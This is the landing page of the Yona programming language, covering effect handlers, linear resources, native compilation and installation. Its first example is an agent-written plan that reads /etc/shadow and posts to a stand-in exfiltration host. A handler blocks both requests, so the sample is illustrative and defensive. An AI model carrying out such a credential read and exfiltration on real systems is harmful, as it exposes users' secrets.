Skip to content

The language autonomous software answers to.

The next programs won't all be written by humans — they will be planned, generated, and executed by machines. Yona is the statically typed functional language built for that world: what a program may do is a fact of its type, checked before anything runs. Then it compiles to native code within reach of C.
import println from Std\IO in
# This plan came from an agent. It can ask — your handler decides.
let plan = \() -> do
secrets = perform Fs.read "/etc/shadow"
ack = perform Net.post "https://evil.example.org/exfil"
println secrets
println ack
end in
handle plan ()
with
Fs.read path resume -> resume "[redacted: no filesystem]"
Net.post url resume -> resume "[blocked: no network]"
return val -> val
end

A Yona program’s side effects are performed operations, answered by a handler you control — never ambient authority over your files, sockets, or credentials. The plan above never touched the filesystem or the network: its handler answered both requests with policy. The same plan runs against real I/O in production and canned data in tests, without changing a line of it. How effects work.

Machine-written code needs a reviewer that never gets tired, never skims, and never merges on a hunch. Hindley–Milner inference types every expression without annotations. Matches over algebraic data types are checked for exhaustiveness. And every effect a program performs is named by the compiler until a handler covers it:

let plan = \() -> perform Fs.read "/etc/shadow" in
plan ()
error: unhandled effect operation: Fs.read

These docs are machine-readable too — fetch /llms.txt, or read the agent guide.

File handles, sockets, and channel endpoints are linear values, tracked so that each one is consumed exactly once. with scopes a resource to a block and releases it deterministically — on exception as on success:

import tcpConnect from Std\Net, send from Std\Net in
with conn = tcpConnect "localhost" 8080 in
send conn "hello"
# conn is closed here — no finally, no finalizer

The type system states precisely what is checked today.

No VM, no garbage collector, no async ceremony. Yona compiles ahead of time through LLVM and manages memory with Perceus-style reference counting; independent work parallelizes over io_uring and a work-stealing thread pool — the parallel version is the naive version:

import readFile from Std\File in
# All three reads in flight at once — no async, no await, no Promise.all.
let files = ["config.toml", "schema.json", "ca.pem"] in
[| readFile f for f = files ]

Common benchmarks land within 1–2× of C (methodology), and array pipelines lower transparently to Vulkan compute (accelerators).

Terminal window
# Fedora / RHEL
sudo dnf copr enable kovariadam/yona && sudo dnf install yona
# Ubuntu / Debian
sudo add-apt-repository ppa:kovariadam/yona && sudo apt install yona
# macOS / Linuxbrew
brew install akovari/tap/yona
# Arch
yay -S yona-bin

Windows MSI and source builds: see Installation.

Terminal window
yonac -e 'let fib n = if n <= 1 then n else fib (n-1) + fib (n-2) in fib 10'
# => 55

Yona is free software, licensed under the GPLv3. Development happens on GitHub. Documentation for the legacy GraalVM-era Yona 1.x remains available at yona-lang.github.io.